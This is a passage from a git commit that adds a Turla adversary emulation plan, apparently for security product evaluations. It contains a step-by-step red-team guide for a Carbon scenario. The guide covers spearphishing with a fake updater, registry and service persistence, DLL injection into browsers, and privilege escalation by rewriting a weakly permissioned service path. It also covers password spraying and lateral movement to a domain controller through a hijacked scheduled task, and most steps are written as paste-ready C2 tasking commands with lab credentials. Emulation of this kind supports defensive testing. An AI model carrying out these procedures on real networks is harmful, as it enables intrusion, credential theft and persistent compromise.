turla/Resources/payloads/.gitkeep create mode 100644 turla/Resources/setup/CertificateAuthority.md create mode 100644 turla/Resources/setup/DNS.md create mode 100644 turla/Resources/setup/EmailFlow.md create mode 100644 turla/Resources/setup/GettingStarted.md create mode 100644 turla/Resources/setup/Infrastructure-Overview.md create mode 100644 turla/Resources/setup/README.md create mode 100644 turla/Resources/setup/Setup-Carbon.md create mode 100644 turla/Resources/setup/Setup-RedTeam.md create mode 100644 turla/Resources/setup/Setup-Snake.md create mode 100644 turla/Resources/setup/Setup-Support.md create mode 100644 turla/Resources/setup/TrafficRedirection.md create mode 100644 turla/Resources/setup/WindowsService.md create mode 100644 turla/Resources/setup/assets/Turla-Infrastructure-Diagram.png create mode 100644 turla/Resources/setup/assets/mailredirect-diagram.png create mode 100644 turla/Resources/setup/files/carbon/all-carbon-enable-remote-desktop-for-domain-users.ps1 create mode 100644 turla/Resources/setup/files/carbon/all-join-carbon-domain.ps1 create mode 100644 turla/Resources/setup/files/carbon/bannik-add-computer-descriptions.ps1 create mode 100644 turla/Resources/setup/files/carbon/bannik-create-carbon-domain.ps1 create mode 100644 turla/Resources/setup/files/carbon/bannik-create-carbon-users.ps1 create mode 100644 turla/Resources/setup/files/carbon/bannik-set-adalwolfa-group-membership.ps1 create mode 100644 turla/Resources/setup/files/carbon/bannik-set-dns-resolution.ps1 create mode 100644 turla/Resources/setup/files/carbon/brieftragerin-create-carbon-exchange-admin.ps1 create mode 100644 turla/Resources/setup/files/carbon/brieftragerin-install-exchange.ps1 create mode 100644 turla/Resources/setup/files/carbon/kagarov-join-domain.sh create mode 100644 turla/Resources/setup/files/carbon/kagarov-setup.sh create mode 100644 turla/Resources/setup/files/carbon/khabibulin-set-local-admin.ps1 create mode 100644 turla/Resources/setup/files/certificates/ca-key.pem create mode 100644 turla/Resources/setup/files/certificates/ca.json create mode 100644 turla/Resources/setup/files/certificates/ca.pem create mode 100644 turla/Resources/setup/files/certificates/cfssl.json create mode 100644 turla/Resources/setup/files/certificates/host-1-server-key.pem create mode 100644 turla/Resources/setup/files/certificates/host-1-server.pem create mode 100644 turla/Resources/setup/files/certificates/host1.json create mode 100644 turla/Resources/setup/files/certificates/intermediate-ca.json create mode 100644 turla/Resources/setup/files/certificates/intermediate_ca-key.pem create mode 100644 turla/Resources/setup/files/certificates/intermediate_ca.pem create mode 100644 turla/Resources/setup/files/common/choco-install-packages.ps1 create mode 100644 turla/Resources/setup/files/common/chocolatey-install.ps1 create mode 100644 turla/Resources/setup/files/common/configure-jumpbox.ps1 create mode 100644 turla/Resources/setup/files/common/disable-edge-download-ask.ps1 create mode 100644 turla/Resources/setup/files/common/disable-edge-first-run.ps1 create mode 100644 turla/Resources/setup/files/common/disable-edge-update.ps1 create mode 100644 turla/Resources/setup/files/common/disable-firewall.ps1 create mode 100644 turla/Resources/setup/files/common/disable-smartscreen.ps1 create mode 100644 turla/Resources/setup/files/common/enable-exchange-for-domain-users.ps1 create mode 100644 turla/Resources/setup/files/common/enable-remote-scheduled-tasks.ps1 create mode 100644 turla/Resources/setup/files/common/set-ad-dns-forwarding.ps1 create mode 100644 turla/Resources/setup/files/range_validation.ps1 create mode 100644 turla/Resources/setup/files/snake/all-join-snake-domain.ps1 create mode 100644 turla/Resources/setup/files/snake/all-snake-enable-remote-desktop-for-domain-users.ps1 create mode 100644 turla/Resources/setup/files/snake/azuolas-enable-fileserver-admin.ps1 create mode 100644 turla/Resources/setup/files/snake/berlios-create-fileserver-admin.ps1 create mode 100644 turla/Resources/setup/files/snake/berlios-create-snake-domain.ps1 create mode 100644 turla/Resources/setup/files/snake/berlios-create-snake-users.ps1 create mode 100644 turla/Resources/setup/files/snake/berlios-set-computer-descriptions.ps1 create mode 100644 turla/Resources/setup/files/snake/berlios-set-dns-resolution.ps1 create mode 100644 turla/Resources/setup/files/snake/berzas-enable-remotedesktop-for-snake-fileserver.ps1 create mode 100644 turla/Resources/setup/files/snake/berzas-install-admodule.ps1 create mode 100644 turla/Resources/setup/files/snake/berzas-set-local-admin.ps1 create mode 100644 turla/Resources/setup/files/snake/drebule-create-snake-exchange-admin.ps1 create mode 100644 turla/Resources/setup/files/snake/drebule-disable-wmic-integrity-check.ps1 create mode 100644 turla/Resources/setup/files/snake/drebule-enable-remote-desktop-for-exchange-admin.ps1 create mode 100644 turla/Resources/setup/files/snake/drebule-install-exchange.ps1 create mode 100644 turla/Resources/setup/files/support/dns/install-unbound-dns.sh create mode 100644 turla/Resources/setup/files/support/dns/qname-minimization.conf create mode 100644 turla/Resources/setup/files/support/dns/root-auto-trust-anchor-file.conf create mode 100644 turla/Resources/setup/files/support/dns/unbound_access.conf create mode 100644 turla/Resources/setup/files/support/dns/unbound_zone.conf create mode 100644 turla/Resources/setup/files/support/kali/kali-home-cradwell-procmailrc create mode 100644 turla/Resources/setup/files/support/kali/kali-install-custom-certs.sh create mode 100644 turla/Resources/setup/files/support/kali/kali-postfix-conf create mode 100644 turla/Resources/setup/files/support/kali/kali-prereqs.sh create mode 100644 turla/Resources/setup/files/support/kali/kali-send-email.sh create mode 100644 turla/Resources/setup/files/support/kali/kali-set-nato-int-redirect.sh create mode 100644 turla/Resources/setup/files/support/kali/kali-update-wp.sh create mode 100644 turla/Resources/setup/files/support/kali/kali-update.sh create mode 100644 turla/Resources/setup/files/support/mail/etc_mailname create mode 100644 turla/Resources/setup/files/support/mail/etc_postfix_main.cf create mode 100644 turla/Resources/setup/files/support/mail/etc_postfix_virtual create mode 100644 turla/Resources/setup/files/support/mail/stamp-configure-dns.sh create mode 100755 turla/Resources/setup/files/support/redirectors/disable-traffic-forwarding-rules.sh create mode 100755 turla/Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-amalie.sh create mode 100755 turla/Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-bolt.sh create mode 100755 turla/Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-thunderbug.sh create mode 100755 turla/Resources/setup/files/support/redirectors/print-traffic-forwarding-rules.sh create mode 100644 turla/Resources/setup/files/watering_hole/README.md create mode 100644 turla/Resources/setup/files/watering_hole/beef_setup.py create mode 100644 turla/Resources/setup/files/watering_hole/counter.js create mode 100644 turla/Resources/setup/files/watering_hole/fingerprinting.py create mode 100644 turla/Resources/setup/files/watering_hole/flash.txt create mode 100644 turla/Resources/setup/files/watering_hole/flash_prep.py create mode 100644 turla/Resources/setup/files/watering_hole/flash_update.html create mode 100644 turla/Resources/setup/files/watering_hole/in-range.html create mode 100644 turla/Resources/setup/files/watering_hole/ip_range.py create mode 100644 turla/Resources/setup/files/watering_hole/out-of-range.html create mode 100644 turla/Resources/setup/files/watering_hole/redirection.py create mode 100644 turla/Resources/setup/files/watering_hole/session.js create mode 100644 turla/Resources/setup/files/watering_hole/wordpress.conf create mode 100644 turla/Resources/setup/files/watering_hole/wordpress_cleanup.sh create mode 100644 turla/Resources/setup/files/watering_hole/wordpress_setup.sh create mode 100644 turla/Resources/setup/files/watering_hole/wp-config.php create mode 100644 turla/Resources/setup/files/windows-service/dist/.gitkeep create mode 100644 turla/Resources/setup/files/windows-service/viperVpn.py create mode 100644 turla/Resources/setup/files/windows-service/viperVpn.spec create mode 100644 turla/Resources/setup/terraform/evals-ranges/.terraform-docs.yml create mode 100644 turla/Resources/setup/terraform/evals-ranges/README.md create mode 100644 turla/Resources/setup/terraform/evals-ranges/backend.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/carbon.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/deploy.auto.tfvars.template create mode 100644 turla/Resources/setup/terraform/evals-ranges/locals.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/main.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/outputs.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/provider.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/snake.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/support.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/variables.tf create mode 100644 turla/Resources/setup/terraform/evals-ranges/versions.tf create mode 100644 turla/Resources/setup/terraform/modules/linuxsrv-latest-static/main.tf create mode 100644 turla/Resources/setup/terraform/modules/linuxsrv-latest-static/outputs.tf create mode 100644 turla/Resources/setup/terraform/modules/linuxsrv-latest-static/variables.tf create mode 100644 turla/Resources/setup/terraform/modules/linuxsrv-latest-static/versions.tf create mode 100644 turla/Resources/setup/terraform/modules/rgroup/main.tf create mode 100644 turla/Resources/setup/terraform/modules/rgroup/outputs.tf create mode 100644 turla/Resources/setup/terraform/modules/rgroup/variables.tf create mode 100644 turla/Resources/setup/terraform/modules/rgroup/versions.tf create mode 100644 turla/Resources/setup/terraform/modules/windesk-latest-static/files/FirstLogonCommands.xml create mode 100644 turla/Resources/setup/terraform/modules/windesk-latest-static/files/winrm.ps1 create mode 100644 turla/Resources/setup/terraform/modules/windesk-latest-static/main.tf create mode 100644 turla/Resources/setup/terraform/modules/windesk-latest-static/outputs.tf create mode 100644 turla/Resources/setup/terraform/modules/windesk-latest-static/variables.tf create mode 100644 turla/Resources/setup/terraform/modules/windesk-latest-static/versions.tf create mode 100644 turla/Resources/setup/terraform/modules/winsrv-latest-static/files/FirstLogonCommands.xml create mode 100644 turla/Resources/setup/terraform/modules/winsrv-latest-static/files/winrm.ps1 create mode 100644 turla/Resources/setup/terraform/modules/winsrv-latest-static/main.tf create mode 100644 turla/Resources/setup/terraform/modules/winsrv-latest-static/outputs.tf create mode 100644 turla/Resources/setup/terraform/modules/winsrv-latest-static/variables.tf create mode 100644 turla/Resources/setup/terraform/modules/winsrv-latest-static/versions.tf create mode 100644 turla/yara-rules/.gitkeep create mode 100644 turla/yara-rules/yara_rules.yar diff --git a/README.md b/README.md index 28558051..519cd9d4 100644 --- a/README.md +++ b/README.md @@ -23,6 +23,7 @@ Available adversary emulation plans are listed below: | [Wizard Spider](/wizard_spider/) | [Wizard Spider is a Russia-based e-crime group originally known for the Trickbot banking malware. In August 2018, Wizard Spider added capabilities to their Trickbot software enabling the deployment of the Ryuk ransomware. This resulted in "big game hunting" campaigns, focused on targeting large organizations for high-ransom return rates.](/wizard_spider/Intelligence_Summary/Intelligence_Summary.md).. | | [OilRig](/oilrig/) | [OilRig is a cyber threat actor with operations aligning to the strategic objectives of the Iranian government. OilRig has been operational since at least 2014 and has a history of widespread impact, with operations directed against financial, government, energy, chemical, telecommunications and other sectors around the globe...](/oilrig/Intelligence_Summary/Intelligence_Summary.md) | | [Blind Eagle](/blindEagle/) | [Blind Eagle is a South American threat actor focused on Colombia-based institutions, including entities in the financial, manufacturing, and petroleum sectors. Largely opportunistic in their motives, Blind Eagle leverages commodity RATs modified to fit the environment...](/blindEagle/Intelligence_Summary/Intelligence_Summary.md) | +| [Turla](/turla/) | [Active since at least the early 2000s, Turla is a sophisticated Russian-based threat group that has infected victims in more than 50 countries. Turla leverages novel techniques and custom tooling and open-source tools to elude defenses and persist on target networks...](/turla/Intelligence_Summary/Intelligence_Summary.md) | | Micro Emulation Plans | Intelligence Summary | |:------:|------| diff --git a/turla/Emulation_Plan/Carbon_Scenario/Carbon_Detections_Scenario.md b/turla/Emulation_Plan/Carbon_Scenario/Carbon_Detections_Scenario.md new file mode 100644 index 00000000..5aded590 --- /dev/null +++ b/turla/Emulation_Plan/Carbon_Scenario/Carbon_Detections_Scenario.md @@ -0,0 +1,963 @@ +# Scenario Overview + +Legend of symbols: +* :bulb: - callout notes +* :heavy_exclamation_mark: - extremely important note +* :arrow_right: - Switching to another session +* :o: - Sign out of something + +--- + +## Setup + +:arrow_right: RDP, do not SSH, to the Kali attacker machine `(176.59.15.33)`. + +* Open a new terminal window, cd to the cloned repo control server, clear previous server logs, and start the control server: + +```bash +cd /opt/day1/turla/Resources/control_server +rm logs.txt +sudo ./controlServer -c ./config/turla_day1.yml +``` + +* Ensure that the Carbon and EPIC handlers started up. + +## Step 1 - Initial Compromise + +:microphone: `Voice Track:` + +Step 1 emulates Turla gaining initial access via a spearphishing link sent in +an email to the user `Gunter`. + +The link initiates the download of a fake software update executable named +NTFVersion.exe. This executable contains another malicious executable, the +injector for the EPIC implant. + +When the fake updater is run by the user: +1. The updater writes the embedded injector to the user's path indicated by the +`%TEMP%` environment variable as `mxs_installer.exe`. +1. The updater adds a `Shell` key value to the current user's `Winlogon` +registry key (`HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`), +where, upon Windows authentication, the injector will be executed in addition +to explorer.exe. + +--- + +### :biohazard: Procedures + +:arrow_right: RDP to `hobgoblin (10.20.20.102)` as `Gunter`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Gunter | Password1! | + +* Open Microsoft Edge, declining all first-run options, and browse to `https://brieftragerin.skt.local/owa`. Login: + +| Username | Password | +| :--------: | :---------------: | +| skt\Gunter | Password1! | + +* Open the email from +`noreply@sktlocal.it` and click the link in the email to initiate the download of +`NTFVersion.exe`. + +* Once the download has been completed, click the downloaded binary to execute it. + +### :moyai: Source Code + +* [EPIC Dropper](../../Resources/EPIC/SimpleDropper) + * [File write of EPIC injector as mxs_installer.exe](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L34-L50) + * [Registry modification](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L95-L143) +* [EPIC Injector](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/) + +### :microscope: Cited Intelligence + +* +* +* + +
+ +## Step 2 - Establish Initial Access + +:microphone: `Voice Track:` + +Step 2 emulates Turla establishing initial access and performing initial +discovery on the first host. + +Eventually, Gunter logs off for the day and logs back in the next day, +executing the persistence mechanism for the EPIC implant. + +When executed, the `mxs_installer.exe` will inject EPIC's guard DLL into +`explorer.exe`. After EPIC's guard DLL has been established, it will search for +processes that are typically internet enabled (e.g. `iexplore.exe`, +`msedge.exe`, or `firefox.exe`) and inject an embedded worker DLL. If the +process containing EPIC's worker DLL is killed, EPIC's guard DLL will +search for processes again and re-inject the worker DLL. + +EPIC's worker DLL will perform user enumeration and several host discovery +commands automatically after injection. The output is then written +to a log file at `%TEMP%\~D723574.tmp`. EPIC then bzip2 compresses and base64 +encodes the data before sending the data in an HTTP request to the hardcoded +proxy server. + +The C2 server responds with a UUID for EPIC to save for future communications. +This and all future communications between the C2 server and EPIC are bzip +compressed, AES encrypted, and base64 encoded. The AES session key is RSA +encrypted and packaged with the data in the HTTP request. + +--- + +### :biohazard: Procedures + +:o: Close out of all tabs and sign out of the RDP session to `hobgoblin +(10.20.20.102)` as `Gunter`. + +:arrow_right: Wait 2 minutes and then re-RDP to `hobgoblin (10.20.20.102)` as `Gunter`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Gunter | Password1! | + +* Open Microsoft Edge and browse to `https://brieftragerin.skt.local/owa`. + +:arrow_right: **Set a timer for 2 minutes** then switch to your Kali control server terminal and +confirm that a new implant has registered and the automated discovery output has been returned in +the server log. + +**NOTE:** The injector will wait **2 minutes**, before injecting EPIC's Guard DLL into explorer.exe and, +subsequently, EPIC's worker DLL into Microsoft Edge. + +### :moyai: Source Code + +* [EPIC Injector](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/) + * Extract EPIC Guard DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L161-L193) + * Targeting explorer.exe for [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L199-L233) +* [EPIC Guard](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/) + * Extract EPIC payload DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L161-L193) + * Targeting browser processes for [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L235-L283) +* [EPIC Payload](../../Resources/EPIC/payload/) + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) + * User discovery [GetAllUsers](../../Resources/EPIC/payload/src/epic.cpp#L111-L182) + * Directory discovery [DirectoryDiscovery](../../Resources/EPIC/payload/src/epic.cpp#L257-L298) + * Write results to log file [WriteResults](../../Resources/EPIC/payload/src/epic.cpp#L311-L345) + * C2 communications are: + * [bzip2 compressed](../../Resources/EPIC/payload/src/comms.cpp#L462-L469) + * [AES encrypted](../../Resources/EPIC/payload/src/comms.cpp#L483-L484) + * [RSA encrypted AES key](../../Resources/EPIC/payload/src/comms.cpp#L487-L497) + * [base64 encoded](../../Resources/EPIC/payload/src/comms.cpp#L505) + +### :microscope: Cited Intelligence + +* +* +* +* +* + +
+ +## Step 3 - Discovery and Privilege Escalation + +:microphone: `Voice Track:` + +Step 3 emulates Turla performing additional discovery using EPIC and privilege +escalation by abusing weak registry permissions. + +Once C2 communications have been established between EPIC and the C2 via the +proxy server, initial network enumeration is performed on the first host +where information about the host device, local and domain groups, and network +configurations is collected. + +At this point, the domain controller `bannik (10.20.10.9)` and several domain +administrator accounts, including `frieda`, are discovered. A custom service is +also discovered. + +Next, additional enumeration of the registry is performed and a weak registry +permission for the service `ViperVPN` is discovered and the binary path is +modified to perform privilege escalation. + +Eventually the service is restarted manually by a domain admin from the domain +controller to emulate the service being restarted via machine reboot. When the service restarts, +EPIC will be executed with SYSTEM level privileges. + +Note that since this domain admin login is part of a whitecarded service restart, +we will not be using this logon session for subsequent activity. + +### :biohazard: Procedures + +* Within your Kali control server terminal window, right click and select "Split Terminal Horizontally". Be careful not to terminate the control server. + +* In your lower terminal tab, copy and paste the first set of discovery commands: +```bash +cd /opt/day1/turla/Resources/control_server +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | net group "Domain Admins" /domain && net group "Domain Computers" /domain && net group "Domain Controllers" /domain && tasklist /svc' +``` +* :heavy_exclamation_mark: Verify that the `ViperVPNSvc` service shows up in the tasklist output towards the end. + +```bash +grep 'ViperVPNSvc' logs.txt -i +``` + +* This should return: + * >``` + >viperVpn.exe ViperVPNSvc + >``` + +* Wait 1 minute before tasking the next command to query the service and who can access it: +```bash +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | reg query HKLM\SYSTEM\CurrentControlSet\Services\ViperVPNSvc && powershell "$(Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\ViperVPNSvc).Access"' +``` + +* Wait 1 minute before tasking EPIC to modify the misconfigured ViperVPNSvc service to use our implant to execute: + +```bash +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | reg add "HKLM\system\currentcontrolset\services\ViperVPNSvc" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c %TEMP%\mxs_installer.exe" /f' +``` + +:arrow_right: Wait 1 minute before switching to your RDP session to `hobgoblin +(10.20.20.102)`. Minimize (do not close) the `hobgoblin (10.20.20.102)` RDP +window. + +:arrow_right: RDP into `bannik (10.20.10.9)`, as `Frieda`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Frieda | Password3! | + +* Close any spurious windows. + +* Open up an administrative Powershell session and run the following commands to remotely restart the service: + +```powershell +sc.exe \\hobgoblin stop ViperVPNSvc +sc.exe \\hobgoblin start ViperVPNSvc +``` +â„¹ï¸ Starting the ViperVPN service should take at least 30 seconds and eventually +result in an error `[SC] StartService FAILED 1053`. The EPIC injector will wait +an additional 2 minutes before performing injection. If the `[SC] StartService +FAILED 1053` error occurs in less than 10 seconds and/or you don't receive a +new session, contact your Evals lead. + +* Wait 1 minute and then :o: sign out of your RDP session to `bannik (10.20.10.9)` as `Frieda` + +:arrow_right: Switch to your Kali attack station and confirm that a new elevated implant has registered. + +### :moyai: Source Code + +* EPIC + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) + * Write results to log file [WriteResults](../../Resources/EPIC/payload/src/epic.cpp#L311-L345) + +### :microscope: Cited Intelligence + +* +* + +
+ +## Step 4 - Persistence + +:microphone: `Voice Track:` + +Step 4 emulates Turla deploying and installing CARBON-DLL as a second stage +malware onto Gunter's workstation in order to maintain persistence. CARBON-DLL, +a variant of CARBON relying on DLLs and asymmetric encryption, will inject an auxiliary +communications module DLL into an existing browser process on Gunter's workstation +to establish C2 communications via a redirector using HTTP requests. Once this communication +channel is created, the malware will run a few discovery commands on Gunter’s +device. + +The CARBON-DLL installer will create the following subdirectories in +`C:\Program Files\Windows NT` for tasking-related files and output: +- `C:\Program Files\Windows NT\2028` +- `C:\Program Files\Windows NT\0511` +- `C:\Program Files\Windows NT\Nlts` + +The CARBON-DLL installer will drop the following files to disk: +- CAST-128 encrypted configuration file to +`%programfiles%\Windows NT\setuplst.xml` +- Loader DLL to `%systemroot%\System32\mressvc.dll` +- Orchestrator DLL to `%programfiles%\Windows NT\MSSVCCFG.dll` +- Communications library DLL to `%programfiles%\Windows NT\msxhlp.dll` + +After successful file writes, the CARBON-DLL installer will create the `WinSys Restore Service` +service, written as `WinResSvc`, to execute the loader DLL. + +The CARBON-DLL installer then performs two registry writes to make sure that +the service can find the loader DLL and that the service will run under +`svchost`: + +1. The loader DLL path is written to registry key +`HKLM:\SYSTEM\CurrentControlSet\services\WinResSvc\Parameters` under the +`ServiceDll` value +1. The service is written to registry key +`HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` under the +`WinSysRestoreGroup` value + +Once the service is set up, the CARBON-DLL installer will start the service +before terminating its own execution. + +On service execution, the loader DLL `mressvc.dll` will run under `svchost` and +execute the orchestrator DLL `MSSVCCFG.dll`. The orchestrator DLL will then +inject the communications library DLL `msxhlp.dll` into processes typically +using HTTP, such as Internet Explorer. Several configuration, logging, and +tasking files are dropped in `C:\Program Files\Windows NT`. + +--- + +### :biohazard: Procedures + +:arrow_right: Return to your RDP session to `hobgoblin (10.20.20.102)` as `Gunter` + +* Ensure you have a Microsoft Edge window open with OWA. If not: + + * Open up Microsoft Edge and browse to `https://brieftragerin.skt.local/owa`. Login: + + | Username | Password | + | :--------: | :---------------: | + | skt\Gunter | Password1! | + +:arrow_right: Switch back to your Kali terminal and task the SYSTEM level EPIC implant to download the CARBON-DLL installer: +```bash +./evalsC2client.py --set-task 51515228-8a7b-4226-e6e3f4 'name | C:\Windows\System32\WinResSvc.exe | dropper.exe' +``` + +* Once the download has completed successfully, wait 1 minute and then task the EPIC implant to execute the CARBON-DLL installer: +```bash +./evalsC2client.py --set-task 51515228-8a7b-4226-e6e3f4 'exe | C:\Windows\System32\WinResSvc.exe' +``` + +* CARBON-DLL should inject into the Microsoft Edge process and beacon back to the C2 server. Check that there is a new Carbon implant session registered with the C2 server + * 📷 - upload a screenshot of the new implant session. + +* Wait 1 minute and then task the Carbon implant to execute some discovery commands: +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 0, "cmd": "whoami"}' +``` + +### :moyai: Source Code + +* [CARBON-DLL installer](../../Resources/Carbon/CarbonInstaller/README.md) + * [Drop components](../../Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp#L178) + * [Create Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L170) + * Service registry edits: [1](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L230), [2](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L284) + * [Start Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L354) + * [Loader Service](../../Resources/Carbon/CarbonInstaller/Loader/src/service.cpp) +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Comms Lib DLL Injection](../../Resources/Carbon/Orchestrator/src/injection.cpp#L454) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) +* EPIC + * File download [DownloadFile](../../Resources/EPIC/payload/src/epic.cpp#L441-L466) + + +### :microscope: Cited Intelligence + +* +* +* + +
+ +## Step 5 - Lateral Movement to Domain Controller + +:microphone: `Voice Track:` + +Step 5 emulates Turla laterally moving to the domain controller by conducting +password spraying to retrieve a domain admin's credentials to the domain +controller and using a scheduled task to gain execution on the domain +controller. + +CARBON-DLL downloads a batch script which uses sprays several of the discovered +domain admin accounts with weak passwords, one of which successfully mounts the +`C:\` drive of the domain controller. + +In preparation for lateral movement, CARBON-DLL downloads a second copy of +its installer and moves it to the `System32` directory of the domain controller. +Then, the `Customer Experience Improvement Program`'s `Consolidator` scheduled +task is modified to execute the CARBON-DLL installer. + +Lastly, CARBON-DLL sends a request to run the modified scheduled task, +achieving lateral movement to and execution on the domain controller. + +By this point, Frieda has logged into the domain controller to start a browser +process as part of legitimate user activity, which the new CARBON-DLL implant +injects into to begin kicking off its communication with the C2 server. + +Rather than communicate directly to the C2 redirector over HTTP, the new CARBON-DLL +implant uses peer-to-peer communication over named pipes through the first +CARBON-DLL implant on `hobgoblin (10.20.20.102)`. Discovery commands are then executed, +leading to the identification of an Apache web server and the workstation for +the administrator of the Apache server, `Adalwolfa`. + +Peer-to-peer communication will occur over the `dsnap` named pipe on both participating hosts. + +--- + +### :biohazard: Procedures + +:arrow_right: Return to your RDP session to `hobgoblin (10.20.20.102)` as +`Gunter`. Minimize (do not close) the `hobgoblin (10.20.20.102)` RDP window. + +* Start a new RDP session to `bannik (10.20.10.9)` as `Frieda`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Frieda | Password3! | + +* Close any spurious windows + +* Open up Microsoft Edge (search for `Edge` if not in toolbar, **do not use Edge Beta**), decline all first-run start up options, and browse to `https://brieftragerin.skt.local/owa` + +:arrow_right: Wait 1 minute and return to your Kali control server terminal + +* Task CARBON-DLL to download and execute the batch script to spray weak +passwords against the domain admin accounts and attempt to mount the `C$` drive of the DC. + +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 1, "payload": "password_spray.bat", "payload_dest": "C:\\Windows\\Temp\\winsas64.bat", "cmd": "C:\\Windows\\Temp\\winsas64.bat"}' +``` +* :heavy_exclamation_mark: Verify that the script successfully sprays `Frieda`'s password by checking the task output. +You should see task output which states the following. It should take approximately 5 minutes to complete: + * > ```text + > The command completed successfully. + > + > frieda:Password3! SUCCESS + > ``` + +* Wait 1 minute and then task CARBON-DLL to remove the password spray script. +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 2, "cmd": "del /Q C:\\Windows\\Temp\\winsas64.bat"}' +``` + +* Wait 1 minute and then task CARBON-DLL to download a second version of the CARBON-DLL installer and move it to the `System32` folder +on the DC via the mounted drive. + +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 3, "payload": "carbon_installer_2.exe", "payload_dest": "C:\\Windows\\Temp\\wmimetricsq.exe", "cmd": "move C:\\Windows\\Temp\\wmimetricsq.exe \\\\bannik\\C$\\Windows\\System32"}' +``` + +* Wait 1 minute and then task CARBON-DLL to enumerate remote scheduled tasks on +the domain controller, using the discovered password for the domain admin +`Frieda` + +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 4, "cmd": "schtasks /query /S bannik /U skt\\Frieda /P Password3!"}' +``` + +* :exclamation: Verify that the `Consolidator` task under the `\Microsoft\Windows\Customer +Experience Improvement Program\` task folder appears in the output. + +```bash +grep 'Folder: \\Microsoft\\Windows\\Customer Experience Improvement Program' logs.txt -A 5 -i +``` + +* This should return: + * > ``` + > Folder: \Microsoft\Windows\Customer Experience Improvement Program + > TaskName Next Run Time Status + > ======================================== ====================== =============== + > Consolidator 2/24/2023 12:00:00 AM Ready + > UsbCeip N/A Ready + > ``` + +* Wait 1 minute and then task CARBON-DLL to modify a remote scheduled task using the discovered password for the domain +admin `Frieda` (). + +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 5, "cmd": "schtasks /Change /S bannik /U skt\\Frieda /P Password3! /TN \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" /TR %SystemRoot%\\System32\\wmimetricsq.exe"}' +``` + +* Wait 1 minute and then task CARBON-DLL to remotely start the modified scheduled task on the domain controller. + +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 6, "cmd": "schtasks /Run /S bannik /U skt\\Frieda /P Password3! /TN \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" /I"}' +``` + +:arrow_right: Return to your control server output and confirm the registration of a new +CARBON-DLL implant on the domain controller. + +:arrow_right: Return to your tasking window and task the new CARBON-DLL implant +with discovery commands to be run on the domain controller. + +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 0, "cmd": "net group /domain"}' +``` +:heavy_exclamation_mark: Verify that the `Web Servers` and `Web Server Admins` groups are in the output. + + +* Wait 1 minute and then task CARBON-DLL to enumerate both groups for their members. +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 1, "cmd": "net group \"Web Servers\" /domain && net group \"Web Server Admins\" /domain"}' +``` + +* Wait 1 minute and then task CARBON-DLL to enumerate the Active Directory +Computers. +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 2, "cmd": "dsquery * -filter \"(&(objectclass=computer))\" -attr *"}' +``` + +* Ensure `khabibulin` is in the output and confirm the `Description` value is +"Adalwolfa Workstation". + +```bash +grep 'cn: khabibulin' logs.txt -C 2 -i +``` + +* This should return: + * > ``` + > objectClass: user + > objectClass: computer + > cn: khabibulin + > description: Adalwolfa Workstation + > distinguishedName: CN=khabibulin,CN=Computers,DC=skt,DC=local + > ``` + +### :moyai: Source Code + +* [Password spray batch script](../../Resources/payloads/carbon/password_spray.bat) +* [CARBON-DLL installer](../../Resources/Carbon/CarbonInstaller/README.md) + * [Drop 